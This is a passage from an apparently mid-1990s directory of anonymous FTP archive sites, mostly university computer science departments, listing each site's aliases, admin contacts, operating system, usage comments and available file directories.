Universiteit Utrecht (Utrecht University), Utrecht, CS dept. +Server : mail-server@cs.ruu.nl, use a message with this in the body to get + started: begin + path your_email@address + send HELP + end +System : Unix +URL : ftp://ftp.cs.ruu.nl/ +Comment: Open 24 hours; 500Mb; user 'ftp' is possible instead of 'anonymous'; + transfers are logged; max. 25 users +Files : Aircraft images; archivers; Atari ST; docs; Elm; GNU; HP-UX; LPF; + Linux; MIDI; MIDI ftp sitelist; news.answers archive; NN-6.4; Perl; + PINE; RUU; security; SGI; STOP; TeX; Unix; X11 + +Site : ftp.cs.scarolina.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : Perry.Rovers@kub.nl +Alias : apple.cs.scarolina.edu [?] +Admin : +Organ : University of South Carolina, Columbia, South Carolina +Server : +System : Unix +URL : ftp://ftp.cs.scarolina.edu/ +Comment: incoming is spelled incomming +Files : csac (cannon); yacl (yet another class library, sridhar) + +Site : ftp.cs.su.oz.au +Country: Australia +GMT : +10 +Date : 11-Mar-94 +Source : +Alias : staff.cs.su.oz.au +Admin : +Organ : Sydney University, Sydney +Server : +System : Unix (System V Release 4) +URL : ftp://ftp.cs.su.oz.au/ +Comment: +Files : bridge; BSD43; cg; grasshopper; MHSnet; omnivault; papers; pcl; + TCPmsg; tr + +Site : ftp.cs.tamu.edu +Country: USA +GMT : -6 +Date : 22-May-94 +Source : +Alias : +Admin : +Organ : Texas A&M University, , Texas, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.tamu.edu/ +Comment: transactions are logged +Files : ACM; BTNG; DCE; FE; FE-answers; furuta; hamradio; + Health-Security-Act; pooch; TeXweb; Transport-Codes; Voodoo + +Site : ftp.cs.tcd.ie +Country: Ireland +GMT : 0 +Date : 13-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : grattan.cs.tcd.ie +Admin : +Organ : Trinity College, Dublin, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.tcd.ie/ +Comment: +Files : alpha; BSD; cosine-p8; crash; docs; fonts; GNU; graphics; languages; + Mac; mail; mcast; multimedia; network; OSF; PC; security; Sun; TCD; + text; Unix; utils; windows; X + +Site : ftp.cs.titech.ac.jp +Country: Japan +GMT : +9 +Date : 15-Dec-94 +Source : old ftp-list +Alias : akoudai.cs.titech.ac.jp +Admin : ftp-admin@cs.titech.ac.jp +Organ : Tokyo Institute of Technology, Tokyo, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.titech.ac.jp/ +Comment: miki.cs.titech.ac.jp is obsolete; decompression tools in /pub/tool +Files : docs; games; GNU; GNU-rel; Japanese; lang; Mac; mail; net; news; + NeXT; OS; security; shell; Sun; TeX; text; tool; wnn; X11 + +Site : ftp.cs.toronto.edu +Country: Canada +GMT : -5 +Date : 10-Sep-94 +Source : Perry.Rovers@kub.nl; old ftp-list +Alias : relay.cs.toronto.edu, ai.toronto.edu +Admin : +Organ : University of Toronto, Toronto, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.toronto.edu/ +Comment: +Files : ailist; CA domain reg. csri-tech-reports; C-News; cogrob; combin; + coopis; CS; darwin; dgp; dkbs; dt; dvix; emv; ftpd; Jove; mirror of + nic.ddn.mil; molbio; NeXT; onet; pathalias; PC; reports; scheme; + SGI; sigview; SunOS SLIP; Sun-spots; Sun-WP; S/SL; TeX; tff; tron; + UofT BIND; usenet; VIS; X11R4; X11R5; xerion; zen; zmailer + +Site : ftp.cs.tu-berlin.de +Country: Germany +GMT : +1 +Date : 23-Aug-94 +Source : Deutsche Anonyme FTP-Server List +Alias : quepasa.cs.tu-berlin.de +Admin : ftpadm@cs.tu-berlin.de +Organ : Technische Universitaet Berlin (Berlin University of Technology), + Berlin +Server : mail-server@cs.tu-berlin.de +System : Unix +URL : ftp://ftp.cs.tu-berlin.de/ +Comment: Open 24 hours; this server understands REGET, MDTM and all other + nifty stuff: get files compressed, gzipped, directories tarred etc. +Files : 386BSD; Amiga; Aminet; Astro; Atari; BSD; comm; docs (vi, CCITT, + RFCs, movies+tv-series, EFF); FTP Server listings; games; GNU; + Info-Mac (mirror of sumex-aim.stanford.edu); IRC; lang; Linux; Mac; + MS-DOS; MUD (TUBMUD); news; NeXT; OS; OS/2; sci; Sun-fixes; TCL; + TeX; umlaut; Unix; X11R5 + +Site : ftp.cs.tulane.edu +Country: USA +GMT : -7 +Date : 19-Apr-94 +Source : marks@mgse.UUCP (Mark Seiffert) {posting} +Alias : rex.cs.tulane.edu +Admin : +Organ : Tulane University, New Orleans, Louisiana +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.cs.tulane.edu/ +Comment: SCSI BBS: +1-719-574-0424 +Files : bb; ck; cpen240; fs; lang; mb; prabhu; rpg; SCSI (files from the + SCSI BBS: ESDI, Fiber Channel, IPI, SCSI docs); TAI; tech; wbt; wmr + +Site : ftp.cs.tut.fi +Country: Finland +GMT : +2 +Date : 20-Apr-94 +Source : jaffa@cs.tut.fi +Alias : kaarne.cs.tut.fi, korppi.cs.tut.fi, tut.fi +Admin : guru@cs.tut.fi +Organ : Tampere University of Technology, Tampere, CS dept., + Software Systems Lab +Server : +System : Unix (SunOS 4.1.3_U1) +URL : ftp://ftp.cs.tut.fi/ +Comment: max. 20 users; also available through Gopher (gopher.cs.tut.fi) + and WWW (www.cs.tut.fi) +Files : GNU; images; Isode; Opetus; orf; Sun fixes; TUT/CS archive + +Site : ftp.cs.ualberta.ca +Country: Canada +GMT : -7 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : University of Alberta, Ualberta, Alberta, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.ualberta.ca/ +Comment: +Files : AI-GI-VI94; ARnet; cssa; dbms; DCE12; Enterprise; exodus; geompack; + gno; gradinfo; graphics; Internship; kube; Mizar; Mizar-MSE; narrow; + oolog; rasit; robotics; scsiping; smillie; spreadsheet; tartar; + tech-reports; theorist; + +Site : ftp.cs.ubc.ca +Country: Canada +GMT : -8 +Date : 14-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : nntp.cs.ubc.ca +Admin : ftp-admin@cs.ubc.ca +Organ : University of Britsh Columbia, , British Columbia, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.ubc.ca/ +Comment: directories: /pub/pickup/spline, /pub/local/src/snacc; the file + 'arrangement' contains an index of the directories; problems with + mirror1 and mirror3 directories +Files : archive (mirrors): Apollo, doc (RFCs), GNU, Mac, Sun, Unix; + ca-domain; cdnnet; cicsr; example images and data files; graphics + bibliography in BiBTeX format; images; mirrors: Linux + (tsx-11.mit.edu, nighty), NeXT (sonata.cc.purdue.edu, nightly), + djgpp (ftp.clarkson.edu, nightly), GNU (prep.ai.mit.edu, nightly), + Mach (mach.cs.cmu.edu, weekly), ftp.x.org (X-contrib, + nightly), 386BSD (mirrored agate.berkeley.edu, weekly), EFF + (ftp.eff.org, nightly), BSD-sources (ftp.uu.net, weekly), canarie + (unbmvs1.csd.unb.ca, daily), EmTeX (ftp.cs.ruu.nl, weekly), IETF + (ftp.wustl.edu, daily), internet drafts (ftp.wustl.edu, daily), + MS-DOS (ftp.wustl.edu, daily), ndtl (hsdndev.harvard.edu, + daily), RFCs (ftp.isi.edu, daily), SNMP-MIBs (ftp.3com.com and + venera.isi.edu, daily); PCpickup; raster; Raven; security; snacc; + Sun-fixes; Tourism in British Columbia (Hypercard Stack); UBC crest + bitmaps; UBC CS tech-reports; UBC Unix Users Group; vista (software + for computer vision research); X11R6 + +Site : ftp.cs.ucla.edu +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : delphi.cs.ucla.edu +Admin : +Organ : University of California - Los Angeles, Los Angeles, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.cs.ucla.edu/ +Comment: +Files : aidspaper; CoEd; contest; dualcit.faq; ficus; ispell; kmed; maisie; + spg; tech-reports; Tensor; tgif + +Site : ftp.cs.uit.no +Country: Norway +GMT : +1 +Date : 04-Jun-94 +Source : Bjoern Stabell +Alias : tklab3.cs.uit.no +Admin : ftp@cs.uit.no +Organ : Universitetet i Tromsoe (Tromsoe University), Tromsoe, + Seksjon for informatikk (CS dept.), Teknisk Kompetansegruppe +Server : +System : Unix (HP9000/7xx running HPUX) +URL : ftp://ftp.cs.uit.no/ +Comment: the northernmost university in the world!; index in ls-lR.gz; + Not a dedicated FTP-server, so some restrictions exist; + The official XPilot FTP site +Files : Amiga; Amiga BSD; Linux; local stuff; OS/2; XPilot + +Site : ftp.cs.umanitoba.ca +Country: Canada +GMT : -6 +Date : 25-Jan-95 +Source : Perry.Rovers@kub.nl +Alias : platinum.cs.umanitoba.ca +Admin : ftp@cs.umanitoba.ca +Organ : University of Manitoba, Winnipeg, Manitoba, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.umanitoba.ca/ +Comment: transfers are logged; tar, g(un)zip and (de)compress on the fly +Files : adsl (Advanced Database Systems Lab); bibliographies; clips; + ImageProcessing; Introductory_Documents; judge; mwg; MS-DOS + (assemblers, comm, compilers, education, executor, finance, games, + intel, national, starter, tex, TI, util, virus, win3); popan; + projplane; Unix_FAQ; Unix_books; utilities + +Site : ftp.cs.umass.edu +Country: USA +GMT : -5 +Date : +Source : ibis.cs.umass.edu +Alias : +Admin : +Organ : University of Massachusetts - Amherst, Amherst, Massachusetts +Server : +System : +URL : ftp://ftp.cs.umass.edu/ +Comment: +Files : Object System Lab (/pub/osl) + +Site : ftp.cs.umb.edu +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : PC NFS FAQ +Alias : claude.cs.umb.edu +Admin : rickm@cs.umb.edu +Organ : University of MB, , , CS dept. +Server : +System : Unix (Sparcstation 1) +URL : ftp://ftp.cs.umb.edu/ +Comment: probably successor of bach.cs.umb.edu; some files to be mirrored on + ftp.sterling.com +Files : bblisa; bcs; corpus; dtrg; ice; ieee; interleaf; isetl; lru-k; + news; rouilj; scheme; security; siggraph; tei; TeX; xinu7300 + +Site : ftp.cs.umd.edu +Country: USA +GMT : -5 +Date : 02-Aug-94 +Source : old ftp-list +Alias : mimsy.cs.umd.edu, cs.umd.edu +Admin : +Organ : University of Maryland, , Maryland, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.umd.edu/ +Comment: transfers are logged +Files : amanda; BSD; classes; coltbib; complex; cyrillic; declarative + languages bib; dept.; faculty; hcil; hpsl; MaRS; misc nonlin; omega; + papers; prism; realtime; security; skiplists; style-guide; + Sun-patches + +Site : ftp.cs.umn.edu +Country: USA +GMT : -6 +Date : 10-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : mirror@cs.umn.edu +Organ : University of Minnesota, , Minnesota, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.umn.edu/ +Comment: +Files : docs; elisp-archive; epoch; GNU; Internet Talk Radio (ITR); LaTeX; + Linux; maccabe; networking; security; sparse; systems [?]; Usenet; X + +Site : ftp.cs.umu.se +Country: Sweden +GMT : +1 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : gauss.cs.umu.se +Admin : +Organ : Umea University, Umea, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.umu.se/ +Comment: +Files : conlab; GNU; images; Khoros; Lapack; Mac; papers; PC (several useful + utils); UTRL + +Site : ftp.cs.unc.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : omicron.cs.unc.edu +Admin : +Organ : University of North Carolina, Chapel Hill, North Carolina, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.unc.edu/ +Comment: directory: pub/reaction_diffusion +Files : 5; admissions; bioscan; colab; cscw94; DGS; DIRT; gash; Greg Turk's + files; GRIP; hmd; ht93; MoDE40; parallel_biblio; PC; proteus; + publications; ray_biblio; reaction_diffusion; recommendations; + salphasic clocks; softlab; TCLBind; TDGLIB; tech-reports; VIEW; + view_code; virtus; volume_biblio; WE; XPEL; XTV + +Site : ftp.cs.uni-bonn.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : olymp.informatik.uni-bonn.de, olymp.cs.bonn.edu, + olymp.cs.uni-bonn.de +Admin : ftpadm@olymp.cs.uni-bonn.de +Organ : Universitaet Bonn (University of Bonn), Bonn, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.uni-bonn.de/ +Comment: +Files : + +Site : ftp.cs.uni-sb.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : ftp-adm@cs.uni-sb.de +Organ : Universitaet des Saarlandes (University of the Saarland), + Saarbruecken, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.uni-sb.de/ +Comment: index in index.Z and index.gz; initial directory: /pub; + see /README and /COPYING_POLICY for more info; all transfers + are logged with hostname and e-mailaddress; user 'ftp' can + be used instead of 'anonymous'; server understands REGET; FSP + available on port 21 +Files : BSD; comm; doc; f2c; GNU; graphics; languages; Lantronix; LEDA; + mail; net; news; Perl; postscript; RFCs; Solbourne; Sun; TeX; X11R5 + +Site : ftp.cs.unl.edu +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : cse.unl.edu +Alias : typhoon.cs.unl.edu +Admin : manager@cse.unl.edu +Organ : University of Nebraska - Lincoln, Lincoln, Nebraska, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.unl.edu/ +Comment: +Files : ObjC; info; jbettis (elm-pgp); Linux (doc, GCC, iBCS, kernel, + vixie-cron, Wine, WP60); mgleason; ncftp; reich (brady, EOS, + est_otf, Sun, VIP); tech-reports + +Site : ftp.cs.unlv.edu +Country: USA +GMT : -7 +Date : 02-Aug-94 +Source : ftp.sterling.com +Alias : jimi.cs.unlv.edu +Admin : +Organ : University of Nevada - Las Vegas, Las Vegas, Nevada +Server : +System : Unix +URL : ftp://ftp.cs.unlv.edu/ +Comment: some files to be mirrored on ftp.sterling.com +Files : Chimera; Mac (comm, oztex, privacy, utils, virus); MS-DOS (asme, + bcf77, emtex, ghostscript, GNU, kermit, oemacs); Unix (Linux + distribution and installation HOWTO) + +Site : ftp.cs.unm.edu +Country: USA +GMT : -7 +Date : 25-Jan-95 +Source : hunter@expert.cc.purdue.edu (Charles Hunter) {posting} +Alias : mammoth.cs.unm.edu +Admin : cslab@cs.unm.edu +Organ : University of New Mexico, Albuquerque, New Mexico, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.unm.edu/ +Comment: several user public directories with class material including misc. + algoritms +Files : ADA; AI; executor (pub/ardi: Mac emulator for DOS, Linux, NeXTStep); + ISEM; MST; Point; poker; SSIM; tech reports + +Site : ftp.cs.ust.hk +Country: Hong Kong +GMT : +8 +Source : Perry.Rovers@kub.nl +Alias : falcon.cs.ust.hk +Admin : cssystem@cs.ust.hk +Organ : Hong Kong University of Science & Technology (HK UST) +Server : +System : Unix +URL : ftp://ftp.cs.ust.hk/ +Comment: +Files : reviews; techreports + +Site : ftp.cs.utwente.nl +Country: Netherlands +GMT : +1 +Date : 26-May-94 +Source : Perry.Rovers@kub.nl +Alias : utrhcs.cs.utwente.nl +Admin : +Organ : Universiteit Twente (University of Twente), Enschede, CS dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.cs.utwente.nl/ +Comment: +Files : docs (amast, CHISE94, dbgroup, IKS, kbks95, lotos, lotosphere, + network, Parlevink, pegasus, spatie, Teleinformation, TM, TRESE); + Indices; PC NFS; pictures (bikes, cars, helis, sf, space) + +Site : ftp.cs.uwa.edu.au +Country: Australia +GMT : +8 +Date : 15-Dec-94 +Source : old ftp-list +Alias : bilby.cs.uwa.edu.au, ftp.cs.uwa.oz.au +Admin : ftp@cs.uwa.edu.au +Organ : University of Western Australia, , , CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.uwa.edu.au/ +Comment: Open 24 hours +Files : cwj; FYIs; graphcs; info for prospective Honours students; Mac; OOT; + Research on automatic theorem proving, computational phonology, + graphs (in the abstract algebra sense), Joyce-Linda, Prolog-Linda; + papers and research reports (local); RFCs; X11R6; XView + +Site : ftp.cs.uwm.edu +Country: USA +GMT : -6 +Date : 15-Dec-94 +Source : levine@cs.uwm.edu (Leonard P. Levine) +Alias : miller.cs.uwm.edu, andeker.cs.uwm.edu +Admin : jimj@miller.cs.uwm.edu, levine@cs.uwm.edu (Leonard P. Levine) +Organ : University of Wisconsin - Milwaukee, Milwaukee, Wisconsin +Server : gopher +System : Unix (Ultrix 4.1) +URL : ftp://ftp.cs.uwm.edu/ +Comment: open 24 hours; directory: /pub/comp-privacy; Home for Computer + Privacy Digest (CPD); available through Gopher: ftp.cs.uwm.edu +Files : comp-literacy; comp.privacy (CPD archives Vol 1-4, Privacy Library); + crypto94; FreeBSD; NetBSD; OS/2; PC-DOS; shuttle-GIFs; soft-eng; + Sun386i; tech-reports; uwm-tools + +Site : ftp.cs.vu.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : star.cs.vu.nl +Admin : postmaster@cs.vu.nl (Kees J. Bot) +Organ : Vrije Universiteit (Free University), Amsterdam +Server : +System : Unix +URL : ftp://ftp.cs.vu.nl/ +Comment: complaints/suggestions about the software to the maintainer of the + software, not to the admin of the site; transfers are logged +Files : amoeba; ast; Atari; bal; bonsangue; ceriel; DejaVU; dictionaries; + harpoon; idraw; Minix-386vm; papers; SGML; xemp + +Site : ftp.cs.waikato.ac.nz +Country: New Zealand +GMT : +12 +Date : 15-Dec-94 +Source : Acorn FTP list as posted to news.answers +Alias : ogre.cs.waikato.ac.nz +Admin : ftp@ftp.cs.waikato.ac.nz, ard@ftp.cs.waikato.ac.nz (Andrew Donkin) +Organ : University of Waikato, Waikato, CS dept. +Server : FSP, http://www.cs.waikato.ac.nz/ +System : Unix +URL : ftp://ftp.cs.waikato.ac.nz/ +Comment: If you're from outside New Zealand, and are not looking for something + specific to this university, please try elsewhere; ftp.wustl.edu + mirrors the random-dot stereogram collection; ftp.x.org has more up + to date copies of XWindows files, also more recent versions of GNU and + Tcl/Tk files can be found elsewhere. This site does not attempt to + be current; please use on the fly compression instead of transferring + plain text files; transfers are logged; max. 50 users +Files : 223b; bcs; calculators; CCITT; compression; dbridges; docs; formal + methods; ihw; logic prog.; m2magic; Mac; ML; packages; papers; picsil; + SIRDS; Solaris; standards; Unixware; Xkernel + +Site : ftp.cs.washington.edu +Country: USA +GMT : -8 +Date : 24-Aug-94 +Source : old ftp-list +Alias : june.cs.washington.edu, cs.washington.edu +Admin : +Organ : University of Washington, Seattle, Washington, CS dept. +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ftp.cs.washington.edu/ +Comment: some loose files in /pub as well +Files : AI; benchpress; community networks; constraints; dylan; egs; gnat; + graphics; IETF; map; metip; netmanager; ntemacs; orca; pardo; + presto; pfs; RCS; raj; RFCs; se; SmallTalk; Taipei-100; TeXhax; + thaisys; tr; ux-pcmcia + +Site : ftp.cs.widener.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : ashley.cs.widener.edu +Admin : ftp-manager@cs.widener.edu +Organ : Widener University +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.cs.widener.edu/ +Comment: directory: pub/zen +Files : Simponsons archive, nixpub listing, Archie clients + (home of Kehoe's C client); Zen and the Art of the Internet + +Site : ftp.cs.wisc.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : loring@healthchex.com (Loring Holden); Perry.Rovers@kub.nl +Alias : fyvie.cs.wisc.edu +Admin : ftp@cs.wisc.edu +Organ : University of Wisconsin, Madison, Wisconsin, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.wisc.edu/ +Comment: directories: /exodus, /pub/ultimate; server can (de)compress, + tar files and directories; RoadMap contains list of directories; + files from shorty.cs.wisc.edu +Files : 007; AIX; Approximation Theory; bolo; computer-vision; condor; + connectivity table; coral; Exodus; ghost; HP; krisna; list-archive; + machine learning; markhill; math prog; mcplib; Novell; + par-distr-sys; paradise; patil; shore; sohi; spim; spimsal; + tech-reports; TeX; TeX for Tom; Ultimate Frisbee files; UW; warts; + wisc; wwt; X; xunet + +Site : ftp.cs.wits.ac.za +Country: South Africa +GMT : 0 +Date : 21-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : concave.cs.wits.ac.za +Admin : +Organ : University of Witwatersrand, Witwatersrand, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.wits.ac.za/ +Comment: descriptive ls/dir command, very nice +Files : FAQs (Africa, Wine); general (distributions, thesis, tech-reports); + images (gif, jpg, mpeg, obj for X3D); Linux (games, info, packages, + raytracing, sound, utils, X11); MS-DOS (arcers, comm, games, mouse, + network, proglang, utils, virus, windows); MS-Windows, MS-Windows NT + (compress, graphics); Unix (applications, audio, benchmark, bin, + games, graphics, lang, network, postscript, research, sgb, shells, + Sun, SGI, TeX, utils) + +Site : ftp.cs.yale.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : ra; dept.cs.yale.edu +Admin : request@cs.yale.edu +Organ : Yale University, New Haven, Connecticut +Server : +System : Unix +URL : ftp://ftp.cs.yale.edu/ +Comment: also available through WWW: http://www.cs.yale.edu; telnet to + info.cs.yale.edu if you don't have a WWW browser; NO offensive + material (e.g. GIFs); sessions/uploading/downloading are logged +Files : angst; angst2; crystal; double digester; drosophila theory; f2c; + Heroes; hoopla; images; IP; lisp patch; MS-Windows; netmenu; netrek; + networks; nisp; obfuscated C; Rococo; snodgrass; Sparcsounds; + Sun-fixes; tarr; tech-reports; vlad; Yale info + TR; WWW; + +Site : ftp.cs.york.ac.uk +Country: UK +GMT : 0 +Date : 07-Jun-94 +Source : forsyth@plan9.cs.york.ac.uk +Alias : minster.york.ac.uk +Admin : forsyth@plan9.york.ac.uk +Organ : University of York, York, CS dept. +Server : +System : Plan9 (Sun 3/60) +URL : ftp://ftp.cs.york.ac.uk/ +Comment: directories look like Unix (Plan9 is an OS a la Unix from Bell Labs) +Files : irs; netlib; technical reports and papers; files exported by groups + and users in the department; plan9; realtime; stress; isg + +Site : ftp.csc.liv.ac.uk +Country: UK +GMT : 0 +Date : 22-May-94 +Source : old ftp-list +Alias : lune.csc.liv.ac.uk +Admin : ftp@csc.liv.ac.uk +Organ : Liverpool University, Liverpool, CS dept. +Server : +System : Unix +URL : ftp://ftp.csc.liv.ac.uk/ +Comment: Open 24 hours; see /README and /Conventions files for info; max. 30 + users; mirrored at ftp.ask.uni-karlsruhe.de, ftp.cae.wisc.edu, + hpux.cict.fr; xbrowser recommended for transfers +Files : Ports to HP-UX machines (especially Series 700): including X11R4 + clients, GNU, recreational software, text editors, sysadmin + tools + +Site : ftp.csc.ncsu.edu +Country: USA +GMT : -5 +Date : 18-Aug-94 +Source : ftp.sterling.com +Alias : osl.csc.ncsu.edu [?] +Admin : tkl@ncsu.edu (tim Lowman) +Organ : North Carolina State University, Raleigh, North Carolina, + CSC, Op;erating Systems Lab +Server : +System : Unix +URL : ftp://ftp.csc.ncsu.edu/ +Comment: some files to be mirrored on ftp.sterling.com; anonymous sessions + are logged; limit anonymous ftp to off hours please; max. 20 users; + extra feature: quote site exec +Files : anime; bitmaps; classes; communications; compilers; CSC + tech-reports; docs; fts; GNU; graduate and undergraduate info; + graphics; locked; mail; markov; multimedia; ncsu_motif; network; + paracomp; rn; rtcomm; SGI; tdcada; tech; Ultrasound; Unix; utils; + wg25; X11; Xinu + +Site : ftp.csce.kyushu-u.ac.jp +Country: Japan +GMT : +9 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : kyushu-u.ac.jp, kyu-cs.kyushu-u.ac.jp, ftp.kyushu-u.ac.jp +Admin : ftp-admin@ftp.csce.kyushu-u.ac.jp +Organ : University of Kyushu, Kyushu, CS dept. +Server : +System : Unix +URL : ftp://ftp.csce.kyushu-u.ac.jp/ +Comment: index: ls-lR, ls-lR.Z, ls-lR.gz, 00NEWFILES; South Hyogo (Kobe) + Earth Quake info +Files : 386BSD; 4.4BSDLite; FreeBSD; GNU; internet-drafts; kyushu-u; lang; + Linux; Mac; MS-DOS; misc; net; netdocs; Quake info; RFCs; security; + system; TeX; utils; X; X11R5 + +Site : ftp.csd.uch.gr +Country: Greece +GMT : +2 +Date : 16-Jul-94 +Source : lourakis@csd.uch.gr (Manolis Lourakis) +Alias : crete.csd.uch.gr +Admin : postmaster@csd.uch.gr +Organ : University of Crete, Heraklion, Crete, Computer Science Department +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.csd.uch.gr/ +Comment: max. 5 foreign users; read /README for special features; + max. allocated bandwidth varies +Files : abacus; antivirus; archie; compressors; CSD: papers, tech-reports; + GNU; Greek fonts - printing/editing sw; graphics; images; locally + developed stuff, IRC; Linux; Mac; Mach; network; NeWS; NFS; papers; + Parix; postgres; postscript; posybl; RFCs; Sun; Unix; + Unix-benchmarks; vi-stuff; TeX; WWW; X11 + +Site : ftp.csd.uwo.ca +Country: Canada +GMT : -5 +Date : 04-Feb-94 +Source : backrubs-archive +Alias : +Admin : +Organ : University of Western Ontario, London, Ontario, CS dept. +Server : +System : Unix +URL : ftp://ftp.csd.uwo.ca/ +Comment: directory: /pub/news/alt.backrub +Files : alt.backrub archives + +Site : ftp.cse.nau.edu +Country: USA +GMT : -7 +Date : 10-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : pine.cse.nau.edu +Admin : +Organ : Northern Arizona University, Flagstaff, Arizona, College of + Engineering +Server : +System : Unix +URL : ftp://ftp.cse.nau.edu/ +Comment: +Files : + +Site : ftp.cse.psu.edu +Country: USA +GMT : -5 +Date : 29-Nov-94 +Source : barr@pop.psu.edu (David Barr); old ftp-list +Alias : moe.cse.psu.edu +Admin : ftp@cse.psu.edu +Organ : Pennsylvania State University, , Pennsylvania +Server : +System : Unix +URL : ftp://ftp.cse.psu.edu/ +Comment: use this instead of guardian.cs.psu.edu; .cs. has become .cse. +Files : BSDI; cdrom; DNS.Talk; docs; Ethics; ICPP94; ioccc; laser-set; + laser-status; mirror of ftp.eff.org; moon; plan9-fans; PSU domain; + resource guide; RFCs; Sun-dist; Unix-admin; Vision; VLSI-CAD; + winsboro; worm; ZED + +Site : ftp.cse.ucsc.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : old ftp-list +Alias : +Admin : librarian@cis.ucsc.edu (for contributions) +Organ : University of California - Santa Cruz, Santa Cruz, California +Server : +System : Unix +URL : ftp://ftp.cse.ucsc.edu/ +Comment: this service is made available to the Internet community for + the distribution of technical reports, bibliographies, programs, + data sets and other useful information +Files : amoeba; bibliographies; carafe; colt; comp.os.research; csl; + hpdc3; images; item; karplus; mcmc; morph; plan9; protein; qnx; + refdbms; rna; tcos; tr; UCSC; xnf-xs + +Site : ftp.csh.rit.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : cdw@cci.com (Craig Woodward) {posting} +Alias : ccimp.csh.rit.edu +Admin : ftp@mail.csh.rit.edu +Organ : R Institute of Technology, , , Computer Science House +Server : www.csh.rit.edu; finger info@drink.csh.rit.edu +System : Unix +URL : ftp://ftp.csh.rit.edu/ +Comment: transfers are logged; max. 5 users +Files : 3D FAQ; CSH; drink; Linux: uva.passwd patched; OSF; VR + +Site : ftp.csie.nctu.edu.tw +Country: Taiwan +GMT : +10 +Date : 06-Jan-94 +Source : old ftp-list +Alias : ccsun42.csie.nctu.edu.tw +Admin : help@csie.nctu.edu.tw, tflin@csie.nctu.edu.tw +Organ : National Chiao Tung University, Hsin Chu, CS and Information + Engineering dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.csie.nctu.edu.tw/ +Comment: directories: /pub/msdos, /pub/win3; support keyword file searching +Files : MS-DOS, MS-Windows 3.x + +Site : ftp.csn.net +Country: USA +GMT : -7 +Date : 19-Feb-95 +Source : raney@metacard.com (Scott Raney); csn.org +Alias : puce.csn.net, ftp.csn.org, ftp.metacard.com +Admin : support@metacard.com +Organ : Colorado Supernet Inc./Metacard Corporation, , Colorado +Server : http://www.metacard.com/ +System : Unix (SunOS 4.1) +URL : ftp://ftp.csn.net +Comment: successor of csn.org +Files : aap_support; AATA; AATA_China-Link; Advance; Aescon; aimhigh-info; + aimhigh; alt.book.reviews; Altia; apptech; aquaengr; ASTI; + bbell-assoc; BHPLAW; blackhawk; boulder; CCDC; CGM; ClassicSoft; + CloudNine; CMS; COGS; Cogwheel; Columbia; Compatible; Computech; + ConferTech; crlhq; CSN; CSNews; Cygnus; cytomation; databases; dea; + densoft; disability; DMK; docdev; dos dovetail; dsi; Edgenet; + ForteNet; fruug; gat; GEOSYN; gifted; GLP; GMG; golden; gopher; + gvnet; HDI; HDL; health; hms; hydrosphere; icc; ices; ILE; Infozone; + internet-talk-radio; interpex; interprise; ISAaC; isdn; IST; + JournalG; k12; Laserdisc; Libnet; library; LucasRadio; mac; + mail-list-archives; mail; mantic; mapinfo; maps; Mathcom; McCallum; + Menu; MetaCard (multimedia authoring for Unix/X11); mhhc; MINC; + Minimus; Minitel; misc; modem; net; news; novalink; OldColoCity; + OmniRes; other; Pipeline; Platte; povsb; PowerPlay; PPB; prime; + ProBook; psi-japan; psi-usa; PTI; QED; qtrack; quarkxt; quipinfo; + R2; ramtron; RMDP; RN+; rpgtools; Schreiber; security; seltzer; + slip; SOS; Spatial; sudo; Sycon; tiag; tin; Tunguska; Unidata; + Unimac; uucp; vprof; wais; Whitestar; XVT + +Site : ftp.cso.uiuc.edu +Country: USA +GMT : -6 +Date : 11-Mar-94 +Source : old ftp-list +Alias : ux3.cso.uiuc.edu +Admin : markz@vmd.cso.uiuc.edu, zinzow@ux3.cso.uiuc.edu (Mark Zinzow) +Organ : University of Illinois - Urbana/Champaign, Urbana, Illinois +Server : +System : Unix +URL : 